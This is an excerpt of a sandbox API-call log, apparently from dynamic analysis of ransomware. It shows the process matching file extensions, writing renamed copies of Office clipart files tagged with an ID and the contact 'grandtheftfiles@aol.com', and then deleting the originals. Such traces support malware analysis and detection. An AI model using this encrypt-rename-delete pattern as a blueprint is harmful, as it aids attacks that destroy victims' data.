	[0089.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.011] lstrlenW (lpString=".pdf") returned 4
	[0089.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.011] lstrlenW (lpString=".xls") returned 4
	[0089.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.012] lstrlenW (lpString=".xlsx") returned 5
	[0089.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.012] lstrlenW (lpString=".ppt") returned 4
	[0089.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.012] lstrlenW (lpString=".zip") returned 4
	[0089.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.012] lstrlenW (lpString=".rar") returned 4
	[0089.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.012] lstrlenW (lpString=".bz2") returned 4
	[0089.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.012] lstrlenW (lpString=".7z") returned 3
	[0089.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.012] lstrlenW (lpString=".dbf") returned 4
	[0089.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.012] lstrlenW (lpString=".1cd") returned 4
	[0089.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00687_.WMF") returned 68
	[0089.012] lstrlenW (lpString=".jpg") returned 4
	[0089.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.012] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.012] lstrlenW (lpString="HH00688_.WMF") returned 12
	[0089.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.013] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=7084) returned 1
	[0089.013] CloseHandle (hObject=0x368) returned 1
	[0089.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 0x220
	[0089.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.013] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.013] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.013] GetLastError () returned 0x0
	[0089.013] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1bac, lpOverlapped=0x0) returned 1
	[0089.015] WriteFile (in: hFile=0x334, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1bb0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1bb0, lpOverlapped=0x0) returned 1
	[0089.016] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.016] WriteFile (in: hFile=0x334, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.016] SetEndOfFile (hFile=0x334) returned 1
	[0089.016] CloseHandle (hObject=0x334) returned 1
	[0089.016] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.016] SetEndOfFile (hFile=0x368) returned 1
	[0089.017] CloseHandle (hObject=0x368) returned 1
	[0089.017] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.017] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00688_.wmf")) returned 1
	[0089.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.018] lstrlenW (lpString=".doc") returned 4
	[0089.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.018] lstrlenW (lpString=".docx") returned 5
	[0089.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.018] lstrlenW (lpString=".pdf") returned 4
	[0089.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.018] lstrlenW (lpString=".xls") returned 4
	[0089.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.018] lstrlenW (lpString=".xlsx") returned 5
	[0089.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.018] lstrlenW (lpString=".ppt") returned 4
	[0089.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.018] lstrlenW (lpString=".zip") returned 4
	[0089.018] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.018] lstrlenW (lpString=".rar") returned 4
	[0089.018] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.018] lstrlenW (lpString=".bz2") returned 4
	[0089.018] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.018] lstrlenW (lpString=".7z") returned 3
	[0089.018] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.018] lstrlenW (lpString=".dbf") returned 4
	[0089.018] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.018] lstrlenW (lpString=".1cd") returned 4
	[0089.018] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.019] lstrlenW (lpString=".jpg") returned 4
	[0089.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.019] lstrlenW (lpString=".doc") returned 4
	[0089.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.019] lstrlenW (lpString=".docx") returned 5
	[0089.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.019] lstrlenW (lpString=".pdf") returned 4
	[0089.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.019] lstrlenW (lpString=".xls") returned 4
	[0089.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.019] lstrlenW (lpString=".xlsx") returned 5
	[0089.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.019] lstrlenW (lpString=".ppt") returned 4
	[0089.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.019] lstrlenW (lpString=".zip") returned 4
	[0089.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.019] lstrlenW (lpString=".rar") returned 4
	[0089.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.019] lstrlenW (lpString=".bz2") returned 4
	[0089.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.019] lstrlenW (lpString=".7z") returned 3
	[0089.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.019] lstrlenW (lpString=".dbf") returned 4
	[0089.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.019] lstrlenW (lpString=".1cd") returned 4
	[0089.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00688_.WMF") returned 68
	[0089.019] lstrlenW (lpString=".jpg") returned 4
	[0089.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.020] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.020] lstrlenW (lpString="HH00693_.WMF") returned 12
	[0089.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.020] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=7098) returned 1
	[0089.020] CloseHandle (hObject=0x368) returned 1
	[0089.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x220
	[0089.020] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0089.020] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.020] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0089.021] GetLastError () returned 0x0
	[0089.021] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x1bba, lpOverlapped=0x0) returned 1
	[0089.022] WriteFile (in: hFile=0x334, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x1bc0, lpOverlapped=0x0) returned 1
	[0089.023] ReadFile (in: hFile=0x368, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.023] WriteFile (in: hFile=0x334, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.023] SetEndOfFile (hFile=0x334) returned 1
	[0089.024] CloseHandle (hObject=0x334) returned 1
	[0089.024] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.024] SetEndOfFile (hFile=0x368) returned 1
	[0089.025] CloseHandle (hObject=0x368) returned 1
	[0089.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00693_.wmf")) returned 1
	[0089.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.025] lstrlenW (lpString=".doc") returned 4
	[0089.025] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString=".docx") returned 5
	[0089.025] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.025] lstrlenW (lpString=".pdf") returned 4
	[0089.025] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString=".xls") returned 4
	[0089.025] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.025] lstrlenW (lpString=".xlsx") returned 5
	[0089.025] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.025] lstrlenW (lpString=".ppt") returned 4
	[0089.025] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.025] lstrlenW (lpString=".zip") returned 4
	[0089.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.026] lstrlenW (lpString=".rar") returned 4
	[0089.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.026] lstrlenW (lpString=".bz2") returned 4
	[0089.026] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.026] lstrlenW (lpString=".7z") returned 3
	[0089.026] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.026] lstrlenW (lpString=".dbf") returned 4
	[0089.026] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.026] lstrlenW (lpString=".1cd") returned 4
	[0089.026] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.026] lstrlenW (lpString=".jpg") returned 4
	[0089.026] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.026] lstrlenW (lpString=".doc") returned 4
	[0089.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.026] lstrlenW (lpString=".docx") returned 5
	[0089.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.026] lstrlenW (lpString=".pdf") returned 4
	[0089.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.026] lstrlenW (lpString=".xls") returned 4
	[0089.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.026] lstrlenW (lpString=".xlsx") returned 5
	[0089.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.026] lstrlenW (lpString=".ppt") returned 4
	[0089.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.026] lstrlenW (lpString=".zip") returned 4
	[0089.026] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.026] lstrlenW (lpString=".rar") returned 4
	[0089.026] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.027] lstrlenW (lpString=".bz2") returned 4
	[0089.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.027] lstrlenW (lpString=".7z") returned 3
	[0089.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.027] lstrlenW (lpString=".dbf") returned 4
	[0089.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.027] lstrlenW (lpString=".1cd") returned 4
	[0089.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0089.027] lstrlenW (lpString=".jpg") returned 4
	[0089.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.312] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0089.312] lstrlenW (lpString="HH02166_.WMF") returned 12
	[0089.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.313] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2adff14 | out: lpFileSize=0x2adff14*=1324) returned 1
	[0089.313] CloseHandle (hObject=0x37c) returned 1
	[0089.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 0x220
	[0089.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0089.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0089.313] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.313] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.314] GetLastError () returned 0x0
	[0089.314] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x52c, lpOverlapped=0x0) returned 1
	[0089.315] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0x530, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0x530, lpOverlapped=0x0) returned 1
	[0089.316] ReadFile (in: hFile=0x37c, lpBuffer=0x2fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2adfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesRead=0x2adfecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.316] WriteFile (in: hFile=0x378, lpBuffer=0x2fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2adfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fbb020*, lpNumberOfBytesWritten=0x2adfc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.316] SetEndOfFile (hFile=0x378) returned 1
	[0089.317] CloseHandle (hObject=0x378) returned 1
	[0089.317] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2adfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.317] SetEndOfFile (hFile=0x37c) returned 1
	[0089.318] CloseHandle (hObject=0x37c) returned 1
	[0089.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0089.318] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02166_.wmf")) returned 1
	[0089.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.318] lstrlenW (lpString=".doc") returned 4
	[0089.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.318] lstrlenW (lpString=".docx") returned 5
	[0089.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.318] lstrlenW (lpString=".pdf") returned 4
	[0089.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.318] lstrlenW (lpString=".xls") returned 4
	[0089.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.318] lstrlenW (lpString=".xlsx") returned 5
	[0089.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.318] lstrlenW (lpString=".ppt") returned 4
	[0089.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.318] lstrlenW (lpString=".zip") returned 4
	[0089.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.318] lstrlenW (lpString=".rar") returned 4
	[0089.319] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.319] lstrlenW (lpString=".bz2") returned 4
	[0089.319] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.319] lstrlenW (lpString=".7z") returned 3
	[0089.319] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.319] lstrlenW (lpString=".dbf") returned 4
	[0089.319] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.319] lstrlenW (lpString=".1cd") returned 4
	[0089.319] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.319] lstrlenW (lpString=".jpg") returned 4
	[0089.319] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
	[0089.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02166_.WMF") returned 68
